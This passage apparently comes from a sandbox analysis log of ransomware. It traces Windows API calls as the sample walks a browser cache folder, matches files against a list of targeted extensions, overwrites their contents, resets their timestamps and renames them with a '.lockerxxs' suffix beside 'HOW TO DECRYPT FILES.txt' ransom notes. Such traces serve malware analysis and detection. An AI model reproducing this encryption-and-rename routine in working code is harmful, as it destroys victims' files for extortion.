HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeis3[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.383] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7d9 [0084.384] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x4593b270, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x4593b270, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x4593b270, dwHighDateTime=0x1d2faf3)) returned 1 [0084.384] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.384] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x7b3, lpOverlapped=0x0) returned 1 [0084.386] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg") returned="BBEeis3[1].jpg" [0084.386] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.386] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x7b3, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x7b3, lpOverlapped=0x0) returned 1 [0084.386] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.386] CloseHandle (hObject=0xa4) returned 1 [0084.386] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeis3[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeis3[1].jpg.lockerxxs")) returned 1 [0084.387] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a1fab0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a1fab0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45a1fab0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x8c5, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEeKvV[1].jpg", cAlternateFileName="BBEEKV~1.JPG")) returned 1 [0084.387] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.387] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEeKvV[1].jpg") returned 1 [0084.387] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEeKvV[1].jpg") returned 1 [0084.387] lstrcmpiA (lpString1="", lpString2="BBEeKvV[1].jpg") returned -1 [0084.387] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg") returned="BBEeis3[1].jpg" [0084.387] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.387] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.387] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.387] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.388] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEeKvV[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg" [0084.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.ems") returned 0 [0084.388] lstrlenA (lpString="*.ems") returned 5 [0084.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.db") returned 0 [0084.388] lstrlenA (lpString="*.db") returned 4 [0084.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.dbf") returned 0 [0084.388] lstrlenA (lpString="*.dbf") returned 5 [0084.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.myox") returned 0 [0084.388] lstrlenA (lpString="*.myox") returned 6 [0084.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.myo") returned 0 [0084.388] lstrlenA (lpString="*.myo") returned 5 [0084.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.qbw") returned 0 [0084.388] lstrlenA (lpString="*.qbw") returned 5 [0084.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.qbb") returned 0 [0084.388] lstrlenA (lpString="*.qbb") returned 5 [0084.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.qbm") returned 0 [0084.388] lstrlenA (lpString="*.qbm") returned 5 [0084.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.qbo") returned 0 [0084.388] lstrlenA (lpString="*.qbo") returned 5 [0084.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.qbx") returned 0 [0084.388] lstrlenA (lpString="*.qbx") returned 5 [0084.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.qba") returned 0 [0084.388] lstrlenA (lpString="*.qba") returned 5 [0084.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.qby") returned 0 [0084.389] lstrlenA (lpString="*.qby") returned 5 [0084.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.qbj") returned 0 [0084.389] lstrlenA (lpString="*.qbj") returned 5 [0084.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.ofx") returned 0 [0084.389] lstrlenA (lpString="*.ofx") returned 5 [0084.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.qif") returned 0 [0084.389] lstrlenA (lpString="*.qif") returned 5 [0084.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.mye") returned 0 [0084.389] lstrlenA (lpString="*.mye") returned 5 [0084.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.mbox") returned 0 [0084.389] lstrlenA (lpString="*.mbox") returned 6 [0084.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.eml") returned 0 [0084.389] lstrlenA (lpString="*.eml") returned 5 [0084.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.pst") returned 0 [0084.389] lstrlenA (lpString="*.pst") returned 5 [0084.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.ost") returned 0 [0084.389] lstrlenA (lpString="*.ost") returned 5 [0084.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.idx") returned 0 [0084.389] lstrlenA (lpString="*.idx") returned 5 [0084.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.dbx") returned 0 [0084.389] lstrlenA (lpString="*.dbx") returned 5 [0084.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.sql") returned 0 [0084.389] lstrlenA (lpString="*.sql") returned 5 [0084.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.mdb") returned 0 [0084.389] lstrlenA (lpString="*.mdb") returned 5 [0084.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.fdb") returned 0 [0084.390] lstrlenA (lpString="*.fdb") returned 5 [0084.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.wab") returned 0 [0084.390] lstrlenA (lpString="*.wab") returned 5 [0084.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.dat") returned 0 [0084.390] lstrlenA (lpString="*.dat") returned 5 [0084.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.txt") returned 0 [0084.390] lstrlenA (lpString="*.txt") returned 5 [0084.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.jpeg") returned 0 [0084.390] lstrlenA (lpString="*.jpeg") returned 6 [0084.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", pszSpec="*.jpg") returned 1 [0084.390] lstrlenA (lpString="*.jpg") returned 5 [0084.390] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg" [0084.390] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg" [0084.390] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg." [0084.390] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg.lockerxxs" [0084.390] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeekvv[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.391] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8c5 [0084.391] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45a1fab0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45a1fab0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45a1fab0, dwHighDateTime=0x1d2faf3)) returned 1 [0084.391] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.391] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x89f, lpOverlapped=0x0) returned 1 [0084.394] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg") returned="BBEeKvV[1].jpg" [0084.394] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.394] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x89f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x89f, lpOverlapped=0x0) returned 1 [0084.394] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.394] CloseHandle (hObject=0xa4) returned 1 [0084.394] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeekvv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeekvv[1].jpg.lockerxxs")) returned 1 [0084.395] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a91ed0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a91ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45ab8030, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0xef00, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEeNd8[1].png", cAlternateFileName="BBEEND~1.PNG")) returned 1 [0084.395] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.395] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEeNd8[1].png") returned 1 [0084.395] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEeNd8[1].png") returned 1 [0084.396] lstrcmpiA (lpString1="", lpString2="BBEeNd8[1].png") returned -1 [0084.396] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg") returned="BBEeKvV[1].jpg" [0084.396] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.396] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.396] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.396] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.396] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEeNd8[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png" [0084.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.ems") returned 0 [0084.396] lstrlenA (lpString="*.ems") returned 5 [0084.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.db") returned 0 [0084.396] lstrlenA (lpString="*.db") returned 4 [0084.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.dbf") returned 0 [0084.396] lstrlenA (lpString="*.dbf") returned 5 [0084.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.myox") returned 0 [0084.396] lstrlenA (lpString="*.myox") returned 6 [0084.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.myo") returned 0 [0084.396] lstrlenA (lpString="*.myo") returned 5 [0084.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.qbw") returned 0 [0084.397] lstrlenA (lpString="*.qbw") returned 5 [0084.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.qbb") returned 0 [0084.397] lstrlenA (lpString="*.qbb") returned 5 [0084.397] PathMatchSpecA 